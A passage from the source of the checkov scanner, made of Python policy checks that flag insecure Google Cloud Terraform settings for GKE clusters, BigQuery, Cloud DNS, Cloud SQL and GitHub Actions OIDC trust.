"CKV_GCP_13" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): """ Looks for client certificate configuration on google_container_cluster: https://www.terraform.io/docs/providers/google/r/container_cluster.html#client_certificate_config :param conf: google_container_cluster configuration :return: """ return 'master_auth/[0]/client_certificate_config/[0]/issue_client_certificate/[0]' def get_expected_value(self): return False check = GKEClientCertificateDisabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEClusterLogging.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class GKEClusterLogging(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Stackdriver Logging is set to Enabled on Kubernetes Engine Clusters" id = "CKV_GCP_1" supported_resources = ("google_container_cluster",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "logging_service" def get_forbidden_values(self) -> Any: return "none" check = GKEClusterLogging() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEDisableLegacyAuth.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class GKEDisabledLegacyAuth(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Legacy Authorization is set to Disabled on Kubernetes Engine Clusters" id = "CKV_GCP_7" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'enable_legacy_abac' def get_forbidden_values(self): return [True] check = GKEDisabledLegacyAuth() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEDontUseNodePools.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class GKEDontUseNodePools(BaseResourceNegativeValueCheck): def __init__(self) -> None: """ Node pools are better configured in the separate resource google_container_node_pool or to quote the provider docs: "It is recommended that node pools be created and managed as separate resources as in the example above. This allows node pools to be added and removed without recreating the cluster. Node pools defined directly in the google_container_cluster resource cannot be removed without re-creating the cluster." Recreating a cluster in Production would be unwise. """ name = "GKE Don't Use NodePools in the Cluster configuration" id = "CKV_GCP_123" supported_resources = ['google_container_cluster',] categories = [CheckCategories.KUBERNETES,] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'node_pool' def get_forbidden_values(self) -> Any: return [ANY_VALUE] check = GKEDontUseNodePools() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEEnableShieldedNodes.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories class GKEEnableShieldedNodes(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Shielded GKE Nodes are Enabled" id = "CKV_GCP_71" supported_resources = ('google_container_cluster',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'enable_shielded_nodes' def get_forbidden_values(self) -> list[Any]: return [False] check = GKEEnableShieldedNodes() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEEnableVPCFlowLogs.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class GKEEnableVPCFlowLogs(BaseResourceValueCheck): def __init__(self) -> None: name = "Enable VPC Flow Logs and Intranode Visibility" id = "CKV_GCP_61" supported_resources = ('google_container_cluster',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'enable_intranode_visibility' def get_expected_value(self) -> Any: return True check = GKEEnableVPCFlowLogs() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py ================================================ from typing import List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GKEEnsureIntegrityMonitoring(BaseResourceCheck): def __init__(self): name = "Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled" check_id = "CKV_GCP_72" supported_resources = ['google_container_cluster', 'google_container_node_pool'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'node_config' in conf.keys(): node = conf["node_config"][0] if isinstance(node, dict) and 'shielded_instance_config' in node.keys(): monitor = node["shielded_instance_config"][0] if monitor.get("enable_integrity_monitoring") == [True]: return CheckResult.PASSED return CheckResult.FAILED # as default is true this is a pass return CheckResult.PASSED # no config is valid it could be in the the node_pool return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return ["node_config/[0]/shielded_instance_config/[0]/enable_integrity_monitoring"] check = GKEEnsureIntegrityMonitoring() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEHasLabels.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from typing import List class GKEHasLabels(BaseResourceCheck): def __init__(self): name = "Ensure Kubernetes Clusters are configured with Labels" id = "CKV_GCP_21" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for password configuration at azure_instance: https://www.terraform.io/docs/providers/google/r/compute_ssl_policy.html :param conf: google_compute_ssl_policy configuration :return: """ if 'resource_labels' in conf: resource_labels = conf.get('resource_labels') if isinstance(resource_labels[0], dict) and len(resource_labels[0].keys()) > 0: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['resource_labels'] check = GKEHasLabels() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEKubernetesRBACGoogleGroups.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class GKEKubernetesRBACGoogleGroups(BaseResourceValueCheck): def __init__(self): name = "Manage Kubernetes RBAC users with Google Groups for GKE" id = "CKV_GCP_65" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'authenticator_groups_config/[0]/security_group' def get_expected_values(self): return [ANY_VALUE] check = GKEKubernetesRBACGoogleGroups() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEMasterAuthorizedNetworksEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class GKEMasterAuthorizedNetworksEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure master authorized networks is set to enabled in GKE clusters" id = "CKV_GCP_20" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'master_authorized_networks_config' def get_expected_values(self): return [ANY_VALUE] check = GKEMasterAuthorizedNetworksEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class GKEMetadataServerIsEnabled(BaseResourceCheck): def __init__(self): name = "Ensure the GKE Metadata Server is Enabled" id = "CKV_GCP_69" supported_resources = ['google_container_cluster', 'google_container_node_pool'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ looks for workload_metadata_config in node_config which ensures that the metadata server is enabled https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/container_cluster :param conf: google_container_cluster or google_container_node_pool configuration :return: """ if 'node_config' in conf.keys(): node = conf["node_config"][0] if isinstance(node, dict) and 'workload_metadata_config' in node: workload_metadatas = force_list(node["workload_metadata_config"][0]) for workload_metadata in workload_metadatas: if workload_metadata.get("mode", None) == ["GKE_METADATA"]: return CheckResult.PASSED # deprecated in newer Google provider elif workload_metadata.get("node_metadata", None) == ["GKE_METADATA_SERVER"]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self): return ['node_config'] check = GKEMetadataServerIsEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEMonitoringEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class GKEMonitoringEnabled(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Stackdriver Monitoring is set to Enabled on Kubernetes Engine Clusters" id = "CKV_GCP_8" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'monitoring_service/0' def get_forbidden_values(self): return ['none'] check = GKEMonitoringEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKENetworkPolicyEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class GKENetworkPolicyEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure Network Policy is enabled on Kubernetes Engine Clusters" id = "CKV_GCP_12" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for network policy configuration on google_container_cluster: https://www.terraform.io/docs/providers/google/r/container_cluster.html Expects either network policies or Dataplane V2 to be enabled :param conf: google_container_cluster configuration :return: """ if 'network_policy' in conf: network_policy = conf.get('network_policy') datapath_provider = conf.get('datapath_provider') if 'enabled' in network_policy[0]: policy_enabled = network_policy[0].get('enabled')[0] if policy_enabled: return CheckResult.PASSED elif not policy_enabled and datapath_provider == ['ADVANCED_DATAPATH']: return CheckResult.PASSED return CheckResult.FAILED def get_inspected_key(self): return 'network_policy/[0]/enabled' check = GKENetworkPolicyEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKENodePoolAutoRepairEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class GKENodePoolAutoRepairEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure 'Automatic node repair' is enabled for Kubernetes Clusters" id = "CKV_GCP_9" supported_resources = ['google_container_node_pool'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): """ Looks for node auto-repair configuration on google_container_node_pool: https://www.terraform.io/docs/providers/google/r/container_node_pool.html :param conf: google_container_node_pool configuration :return: """ return 'management/[0]/auto_repair/[0]' check = GKENodePoolAutoRepairEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKENodePoolAutoUpgradeEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class GKENodePoolAutoUpgradeEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure 'Automatic node upgrade' is enabled for Kubernetes Clusters" id = "CKV_GCP_10" supported_resources = ['google_container_node_pool'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): """ Looks for node auto-upgrade configuration on google_container_node_pool: https://www.terraform.io/docs/providers/google/r/container_node_pool.html :param conf: google_container_node_pool configuration :return: """ return 'management/[0]/auto_upgrade/[0]' check = GKENodePoolAutoUpgradeEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEPodSecurityPolicyEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class GKEPodSecurityPolicyEnabled(BaseResourceCheck): """ Pod Security Policy was removed from GKE clusters with version >= 1.25.0 """ def __init__(self): name = "Ensure PodSecurityPolicy controller is enabled on the Kubernetes Engine Clusters" id = "CKV_GCP_24" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if conf.get('min_master_version') and isinstance(conf.get('min_master_version'), list): raw = conf.get('min_master_version')[0] splitter = raw.split(".") if len(splitter) >= 2: str_version = splitter[0] + "." + splitter[1] try: version = float(str_version) except (ValueError, IndexError): return CheckResult.UNKNOWN if version < 1.25: if conf.get('pod_security_policy_config') and isinstance(conf.get('pod_security_policy_config'), list): policy = conf.get('pod_security_policy_config')[0] if policy.get('enabled') and isinstance(policy.get('enabled'), list): secure = policy.get('enabled')[0] if secure: return CheckResult.PASSED self.evaluated_keys = ['min_master_version', 'pod_security_policy_config/[0]/enabled'] return CheckResult.FAILED return CheckResult.UNKNOWN check = GKEPodSecurityPolicyEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEPrivateClusterConfig.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class GKEPodSecurityPolicyEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure Kubernetes Cluster is created with Private cluster enabled" id = "CKV_GCP_25" supported_resources = ("google_container_cluster",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "private_cluster_config" def get_expected_value(self) -> Any: return ANY_VALUE check = GKEPodSecurityPolicyEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEPrivateNodes.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class GKEPrivateNodes(BaseResourceValueCheck): def __init__(self): name = "Ensure clusters are created with Private Nodes" id = "CKV_GCP_64" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'private_cluster_config' def get_expected_values(self): return [ANY_VALUE] check = GKEPrivateNodes() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEPublicControlPlane.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class GKEPublicControlPlane(BaseResourceCheck): def __init__(self): name = "Ensure GKE Control Plane is not public" id = "CKV_GCP_18" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for password configuration at azure_instance: https://www.terraform.io/docs/providers/google/r/compute_ssl_policy.html :param conf: google_compute_ssl_policy configuration :return: """ if 'master_authorized_networks_config' in conf.keys(): self.evaluated_keys = ['master_authorized_networks_config'] master_authorized_networks_conf = conf['master_authorized_networks_config'][0] if isinstance(master_authorized_networks_conf, dict) and 'cidr_blocks' in master_authorized_networks_conf: cidr_blocks_conf = master_authorized_networks_conf['cidr_blocks'] for cidr_block_conf in cidr_blocks_conf: if isinstance(cidr_block_conf, dict) and '0.0.0.0/0' in cidr_block_conf['cidr_block']: # nosec self.evaluated_keys = [f'master_authorized_networks_config/[0]/cidr_blocks/' f'[{cidr_blocks_conf.index(cidr_block_conf)}]/cidr_block'] return CheckResult.FAILED self.evaluated_keys = ['master_authorized_networks_config/[0]/cidr_blocks'] return CheckResult.PASSED check = GKEPublicControlPlane() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEReleaseChannel.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class ReleaseChannel(BaseResourceValueCheck): def __init__(self): name = "Ensure the GKE Release Channel is set" id = "CKV_GCP_70" supported_resources = ['google_container_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'release_channel/[0]/channel' def get_expected_values(self): return [ANY_VALUE] check = ReleaseChannel() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKESecureBootforShieldedNodes.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class GKESecureBootforShieldedNodes(BaseResourceValueCheck): def __init__(self): name = "Ensure Secure Boot for Shielded GKE Nodes is Enabled" id = "CKV_GCP_68" supported_resources = ['google_container_cluster', 'google_container_node_pool'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'node_config' in conf.keys(): node = conf["node_config"][0] if isinstance(node, dict) and 'shielded_instance_config' in node: monitor = node["shielded_instance_config"][0] if monitor.get("enable_secure_boot", None) == [True]: return CheckResult.PASSED else: return CheckResult.FAILED else: # as default is true this is a pass return CheckResult.FAILED else: return CheckResult.UNKNOWN def get_inspected_key(self): return 'node_config/[0]/shielded_instance_config/[0]/enable_secure_boot' def get_expected_values(self): return [True] check = GKESecureBootforShieldedNodes() ================================================ FILE: checkov/terraform/checks/resource/gcp/GKEUseCosImage.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GKEUseCosImage(BaseResourceCheck): def __init__(self): name = "Ensure Container-Optimized OS (cos) is used for Kubernetes Engine Clusters Node image" id = "CKV_GCP_22" supported_resources = ['google_container_node_pool'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ CKV_GCP_22 This a legacy check, Creation of node pools using node images based on Docker container runtimes is not supported in GKE v1.24+ clusters as Dockershim has been removed in Kubernetes v1.24. """ if conf.get('version') and isinstance(conf.get('version'), list): raw = conf.get('version')[0] splitter = raw.split(".") if len(splitter) >= 2: try: version = float(splitter[0] + "." + splitter[1]) except (ValueError, IndexError): return CheckResult.UNKNOWN if version >= 1.24: return CheckResult.UNKNOWN if 'node_config' in conf: node_config = conf.get('node_config', [{}])[0] self.evaluated_keys = ['node_config'] if not isinstance(node_config, dict): return CheckResult.UNKNOWN if conf.get('node_config', [{}])[0].get('image_type', [''])[0].lower().startswith('cos'): self.evaluated_keys = ['node_config/[0]/image_type'] return CheckResult.PASSED if conf.get('remove_default_node_pool', [{}])[0]: self.evaluated_keys.append('remove_default_node_pool') return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN check = GKEUseCosImage() ================================================ FILE: checkov/terraform/checks/resource/gcp/GithubActionsOIDCTrustPolicy.py ================================================ from typing import Dict, Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.oidc_utils import gh_abusable_claims, gh_repo_regex import re import logging class GithubActionsOIDCTrustPolicy(BaseResourceCheck): def __init__(self) -> None: name = "Ensure GCP GitHub Actions OIDC trust policy is configured securely" id = "CKV_GCP_125" supported_resources = ["google_iam_workload_identity_pool_provider"] categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def extract_sub_claim_value(self, condition: str) -> str: """Extract the claim value from the condition string.""" if not condition: return "" # Handle both single and double quotes claim_match = re.search(r"assertion\.sub\s*==\s*['\"]([^'\"]+)['\"]", condition) if claim_match: return claim_match.group(1) return "" def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """Scans the configuration for GitHub Actions OIDC trust policy""" try: # Check issuer URI # If it's not OIDC or GitHub Actions URI, then pass issuer_oidc = conf.get("oidc")[0] if not issuer_oidc: return CheckResult.PASSED else: issuer_uri = issuer_oidc.get("issuer_uri", [None])[0] if not issuer_uri or issuer_uri != "https://token.actions.githubusercontent.com": return CheckResult.PASSED # Check attribute mapping attribute_mapping = conf.get("attribute_mapping") if not attribute_mapping or not isinstance(attribute_mapping, list) or not attribute_mapping[0]: return CheckResult.FAILED attribute_mapping = attribute_mapping[0] if not attribute_mapping or "google.subject" not in attribute_mapping: return CheckResult.FAILED # Check attribute condition attribute_condition = conf.get("attribute_condition", False)[0] if not attribute_condition: return CheckResult.FAILED # Extract claim value sub_claim_value = self.extract_sub_claim_value(attribute_condition) if not sub_claim_value: return CheckResult.FAILED # If no colons - it means we assert something the value without the claim name, which is invalid when using GitHub Actions OIDC if ":" not in sub_claim_value: return CheckResult.FAILED # Break by colons; Since we already checked for the presence of colons, we can safely assume that the claim is in the form of claim_name:claim_value claim_parts = sub_claim_value.split(":") # Check if the first claim or value are wildcards - if yes, the assertion is checking nothing if claim_parts[0] == "*" or claim_parts[1] == "*": return CheckResult.FAILED # Check if the first claim is an abusable claim - if yes, the whole assertion can be abused if claim_parts[0] in gh_abusable_claims: return CheckResult.FAILED # Lastly, check for the classic "repo" claim if claim_parts[0] == "repo": # Check if the repo claim is in the form of org/repo if not gh_repo_regex.match(claim_parts[1]): return CheckResult.FAILED return CheckResult.PASSED except Exception as e: logging.debug(f"CKV_GCP_125 failed with exception: {str(e)}") return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["attribute_condition", "attribute_mapping", "issuer_uri"] check = GithubActionsOIDCTrustPolicy() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleBigQueryDatasetPublicACL.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories ALLOWED_ACCESS_TYPES = ( "user_by_email", "group_by_email", "domain", "view", "routine", "dataset", ) class GoogleBigQueryDatasetPublicACL(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that BigQuery datasets are not anonymously or publicly accessible" id = "CKV_GCP_15" supported_resources = ("google_bigquery_dataset",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for ACL configuration at bigquery_dataset: https://www.terraform.io/docs/providers/google/r/bigquery_dataset.html#access :param conf: bigquery_dataset configuration :return: """ if "access" in conf.keys(): for access in conf["access"]: if "special_group" in access: if access["special_group"] in [["allAuthenticatedUsers"], ["allUsers"]]: self.evaluated_keys = [f'access/[{conf["access"].index(access)}]/special_group'] return CheckResult.FAILED # access block with only the role key found in the statefile # when manually adding "allUsers" to the dataset elif not any(key in access for key in ALLOWED_ACCESS_TYPES): self.evaluated_keys = [f'access/[{conf["access"].index(access)}]'] return CheckResult.FAILED self.evaluated_keys = ['access'] return CheckResult.PASSED check = GoogleBigQueryDatasetPublicACL() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudDNSKeySpecsRSASHA1.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class GoogleCloudDNSKeySpecsRSASHA1(BaseResourceCheck): def __init__(self): name = "Ensure that RSASHA1 is not used for the zone-signing and key-signing keys in Cloud DNS DNSSEC" id = "CKV_GCP_17" supported_resources = ["google_dns_managed_zone"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for DNSSEC key algorithm at dns_managed_zone: https://www.terraform.io/docs/providers/google/r/dns_managed_zone.html#algorithm :param conf: dns_managed_zone configuration :return: """ if "dnssec_config" in conf.keys(): dnssec_config = conf["dnssec_config"][0] self.evaluated_keys = ['dnssec_config'] # default algo RSASHA256 as per the documentation: # https://cloud.google.com/dns/docs/dnssec-advanced#advanced-signing-options if "default_key_specs" in dnssec_config: for default_key_specs in dnssec_config["default_key_specs"]: if "algorithm" in default_key_specs and default_key_specs["algorithm"] == ["rsasha1"]: self.evaluated_keys = [f'dnssec_config/[0]/default_key_specs/' f'[{dnssec_config["default_key_specs"].index(default_key_specs)}]/' f'algorithm'] return CheckResult.FAILED self.evaluated_keys = ['dnssec_config/[0]/default_key_specs'] return CheckResult.PASSED check = GoogleCloudDNSKeySpecsRSASHA1() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudDNSSECEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class GoogleCloudDNSSECEnabled(BaseResourceValueCheck): """ Looks for DNSSEC state at dns_managed_zone: https://www.terraform.io/docs/providers/google/r/dns_managed_zone.html#state """ def __init__(self): name = "Ensure that DNSSEC is enabled for Cloud DNS" id = "CKV_GCP_16" supported_resources = ["google_dns_managed_zone"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'visibility' in conf: if conf['visibility'][0] == 'private': return CheckResult.UNKNOWN # check is irrelevant (cannot set DNSSEC to anything else) # default visibility is public; just use base class implementation return super().scan_resource_conf(conf) def get_inspected_key(self): return "dnssec_config/[0]/state" def get_expected_value(self): return "on" def get_expected_values(self): return [self.get_expected_value(), "transfer"] check = GoogleCloudDNSSECEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudMySqlLocalInfileOff.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudMySqlLocalInfileOff(BaseResourceCheck): def __init__(self): name = "Ensure MySQL database 'local_infile' flag is set to 'off'" check_id = "CKV_GCP_50" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for google_sql_database_instance which enables local_infile: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'MYSQL' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/MYSQL', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing # (list of list of dictionaries with strings):'database_flags': # [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing # (list of dictionaries with arrays): 'database_flags': # [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag} for flag in flags] for flag in flags: if isinstance(flag, dict) and flag['name'] == 'local_infile' and flag['value'] == 'on': self.evaluated_keys = ['database_version/[0]/MYSQL', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name', f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value'] return CheckResult.FAILED self.evaluated_keys = ['database_version/[0]/MYSQL', 'settings/[0]/database_flags'] return CheckResult.PASSED return CheckResult.UNKNOWN check = GoogleCloudMySqlLocalInfileOff() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlEnablePgaudit.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGooglePostgresqlDatabaseFlags import AbsGooglePostgresqlDatabaseFlags FLAG_NAME = 'cloudsql.enable_pgaudit' FLAG_VALUES = ['on'] class GoogleCloudPostgreSqlEnablePgaudit(AbsGooglePostgresqlDatabaseFlags): def __init__(self): name = "Ensure pgAudit is enabled for your GCP PostgreSQL database" check_id = "CKV_GCP_110" supported_resources = ['google_sql_database_instance'] categories = [CheckCategories.LOGGING] super().__init__( name=name, id=check_id, categories=categories, supported_resources=supported_resources, flag_name=FLAG_NAME, flag_values=FLAG_VALUES ) check = GoogleCloudPostgreSqlEnablePgaudit() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogCheckpoints.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleCloudPostgreSqlLogCheckpoints(BaseResourceCheck): def __init__(self) -> None: name = "Ensure PostgreSQL database 'log_checkpoints' flag is set to 'on'" check_id = "CKV_GCP_51" supported_resources = ('google_sql_database_instance',) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for google_sql_database_instance which allows enables log checkouts on PostgreSQL DBs: :param conf: google_sql_database_instance configuration :return: < CheckResult > """ if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]: if 'settings' in conf.keys(): self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings'] flags = conf['settings'][0].get('database_flags') if flags: evaluated_keys_prefix = 'settings/[0]/database_flags' if isinstance(flags[0], list): # treating use cases of the following database_flags parsing (list of list of dictionaries with strings):'database_flags': [[{'name': '', 'value': ''}, {'name': '', 'value': ''}]] flags = flags[0] evaluated_keys_prefix += '/[0]' else: # treating use cases of the following database_flags parsing (list of dictionaries with arrays): 'database_flags': [{'name': [''], 'value': ['']},{'name': [''], 'value': ['']}] flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags] for flag in flags: if (isinstance(flag, dict) and flag['name'] == 'log_checkpoints') and (flag['value'] == 'on'): # Must be explicitly set for check to pass self.evaluated_keys = 